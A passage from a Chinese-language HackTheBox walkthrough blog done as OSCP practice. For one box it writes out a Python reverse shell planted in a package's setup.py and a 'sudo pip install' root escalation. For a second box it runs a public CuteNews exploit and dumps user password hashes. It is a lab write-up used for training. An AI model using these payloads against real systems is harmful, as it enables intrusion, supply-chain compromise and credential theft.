LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;目前结构如上 就差一个setup.py文件了&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from setuptools import setup, find_packages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setup(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; name=&amp;#39;Reverse-Shell&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; version=&amp;#39;1.1.1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keywords=[&amp;#39;Safari&amp;#39;, &amp;#39;Bookmarks&amp;#39;, &amp;#39;JSON&amp;#39;, &amp;#39;Monsoir&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; description=&amp;#39;transform Safari bookmarks export to JSON file&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; license=&amp;#39;MIT License&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url=&amp;#39;https://github.com/Monsoir/safari-bookmarks-jsonizer&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author=&amp;#39;Monsoir&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author_email=&amp;#39;monwingyeung@gmail.com&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; packages=find_packages(),&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; include_package_data=False,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; platforms=[&amp;#34;any&amp;#34;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; install_requires=[&amp;#39;beautifulsoup4&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; python_requires=&amp;#39;&amp;gt;3.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; entry_points={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;console_scripts&amp;#39;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;jsonize = jsonizer.jsonize:main&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;这样算完了 其实jsonizer目录貌似都不需要 就算需要的话最多也只要个构造函数的py空文件 至少目前上面的这个包能被识别 就先不管了 执行下面的代码&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python setup.py sdist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;他会在当前目录下生成一个dist新目录 里面就有个打包好的 tar.gz文件 接着用下面的命令就能上传上去了&lt;/p&gt;&#10;&lt;p&gt;最后一个参数 就是代表的吧dist目录下面的文件传上去的意思&lt;/p&gt;&#10;&lt;p&gt;python -m twine upload &amp;ndash;repository-url &lt;a class="link" href="http://pypi.sneakycorp.htb:8080/" target="_blank" rel="noopener"&#10; &gt;http://pypi.sneakycorp.htb:8080/&lt;/a&gt; dist/*&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0654.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是上传上去之后很快就消失了&lt;/p&gt;&#10;&lt;p&gt;还记得之前我上传的pspy32吗 他一直在另一个端口运行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了关键点 这个low用户会执行tar解压 然后直接python去运行目录里setup.py安装 后面再卸载 主要是为了去测试这个包 怪不得这个用户家目录存在很多包 还有venv虚拟环境&lt;/p&gt;&#10;&lt;p&gt;根据理解 我们将setup.py 改成反弹shell的代码其实就能弹回来了&lt;/p&gt;&#10;&lt;p&gt;这里思路已经非常清晰了 将dist目录里的 tar包解开&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;修改 setup.py 在开头加上python弹shell的代码&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.19&amp;#34;, 6789))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;然后重新打包上传就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;拿到了shell 开始接着提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l 给了个命令 直接去搜就行&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sudo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TF=$(mktemp -d)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;import os; os.execl(&amp;#39;/bin/sh&amp;#39;, &amp;#39;sh&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;sh &amp;lt;$(tty) &amp;gt;$(tty) 2&amp;gt;$(tty)&amp;#39;)&amp;#34; &amp;gt; $TF/setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo pip install $TF&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;根据下面的方法直接提权到了root&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束！&lt;/p&gt;&#10;&lt;p&gt;我只能说这是我做过到目前为止最难的靶场 没有之一 仿佛经历了一场考试 这个靶场加上我休息 我做了20个小时左右 头脑发昏 期间看了两次wp 第一个在于我不清楚给其他邮箱发链接能够直接钓鱼拿到信息 这是我万万没想到的 但实际上它提示了很多很多 第二个就是dev这个子域名确实是自己的问题 后续在打每个靶场之前 会爆破子域名&lt;/p&gt;&#10;&lt;p&gt;学到了很多东西 期间一直在进行google 很多事情其实多问问chatgpt更有思路 但是oscp不允许去问 所以我搜了非常多的博客&lt;/p&gt;&#10;&lt;p&gt;这个靶场里面有imap服务 这是我没接触过的 安装了很多软件 都不行 一直卡死 最后终于找到了能用的软件 其次就是pypi 第一次接触这个难免会学很久 大部分时间也用于学习了pypi 在这个靶场里面收益良多 已经能感觉到越来越吃力了&lt;/p&gt;&#10;&lt;p&gt;hackthebox linux的2022年作为oscp的靶场总共有50个 目前已经完成了27个 结束了之后就进行windows靶场 然后2022年的做完 就去做最新的靶场 接着就是oscplabs了&lt;/p&gt;&#10;&lt;h2 id="28passage"&gt;&lt;a href="#28passage" class="header-anchor"&gt;&lt;/a&gt;28.Passage&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;22端口没东西 但是80端口 只要进行暴力破解 马上就会被封&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这篇文章介绍了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;过度访问会被拦截两分钟&lt;/p&gt;&#10;&lt;p&gt;像目录爆破什么都无法使用了 目前有两个思路&lt;/p&gt;&#10;&lt;p&gt;一是对这个网站进行缓慢爆破 但是得用cewl生成的字典来跑&lt;/p&gt;&#10;&lt;p&gt;二是对&lt;a class="link" href="http://10.10.10.206/index.php?id=11" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php?id=11&lt;/a&gt; 测试sql注入&lt;/p&gt;&#10;&lt;p&gt;cewl &lt;a class="link" href="http://10.10.10.206/index.php" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/index.php&lt;/a&gt; -w dict.txt&lt;/p&gt;&#10;&lt;p&gt;ffuf -w ./dict.txt -u &lt;a class="link" href="http://10.10.10.206/FUZZ" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.206/FUZZ&lt;/a&gt; -t 1&lt;/p&gt;&#10;&lt;p&gt;防止被ban 线程设置为1&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在发现要被ban之前用目录爆破发现了 new.php&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;现在把主页的cewl之后 测试出来有一个CuteNews 他还有11个博客 得挨个爬取爆破目录&lt;/p&gt;&#10;&lt;p&gt;域名&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里再开一个页面 用来爆破子域名&lt;/p&gt;&#10;&lt;p&gt;同时上面这个页面让我们知道了版本 CuteNews 2.1.2&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找了最后一个exp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;简单看了一下运行逻辑&lt;/p&gt;&#10;&lt;p&gt;注册完然后打payload就行 而我们需要做的只是运行 然后输入url即可 非常简单&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我从来没想到过这么简单&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;谈了个shell回来&lt;/p&gt;&#10;&lt;p&gt;开始提权&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这些配置文件没有任何东西 尝试去google搜一下数据库配置文件在哪&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql" target="_blank" rel="noopener"&#10; &gt;https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上我找到了这两个文件 但是他们啥都没有&lt;/p&gt;&#10;&lt;p&gt;linenum发现了很多东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到是root启动的&lt;/p&gt;&#10;&lt;p&gt;不管怎么样 先把这些跑出来吧&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.&#9;&#9;&#9;#foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/&#9;&#9;&#9;#password&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;只跑出来了两个&lt;/p&gt;&#10;&lt;p&gt;根据介绍其他的几个hash貌似不是用来跑的 而是和网站特定元素结合之后生成新的hash来当作凭证&lt;/p&gt;&#10;&lt;p&gt;这里先放弃了 我还是把目标放回网站 因为在我搜的时候一直提示&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;它以平面文件作为存储 我搜的所有的博客都是这个说法 他没有数据库 全是以txt等文件来存储的 但很明显 我们利用那个exp的时候 他是创建了用户的 但是我们并没有在刚刚提到的两个文件里找到用户 很不现实&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;搜txt文件的时候发现了两个users.txt&lt;/p&gt;&#10;&lt;p&gt;可惜的是这两个文件也没啥东西 后续翻目录发现了一个重要信息&lt;/p&gt;&#10;&lt;p&gt;/var/www/html/CuteNews/cdata/users/lines&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;写了个脚本跑出来了结果&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}&amp;rsquo;&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1598829833;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:5:&amp;ldquo;admin&amp;rdquo;;a:8:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483047&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;1&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487988&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483281;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483236;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;sid-meier&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483281&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Sid Meier&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485645&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483047;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:10:&amp;ldquo;paul-coles&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483236&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:10:&amp;ldquo;Paul 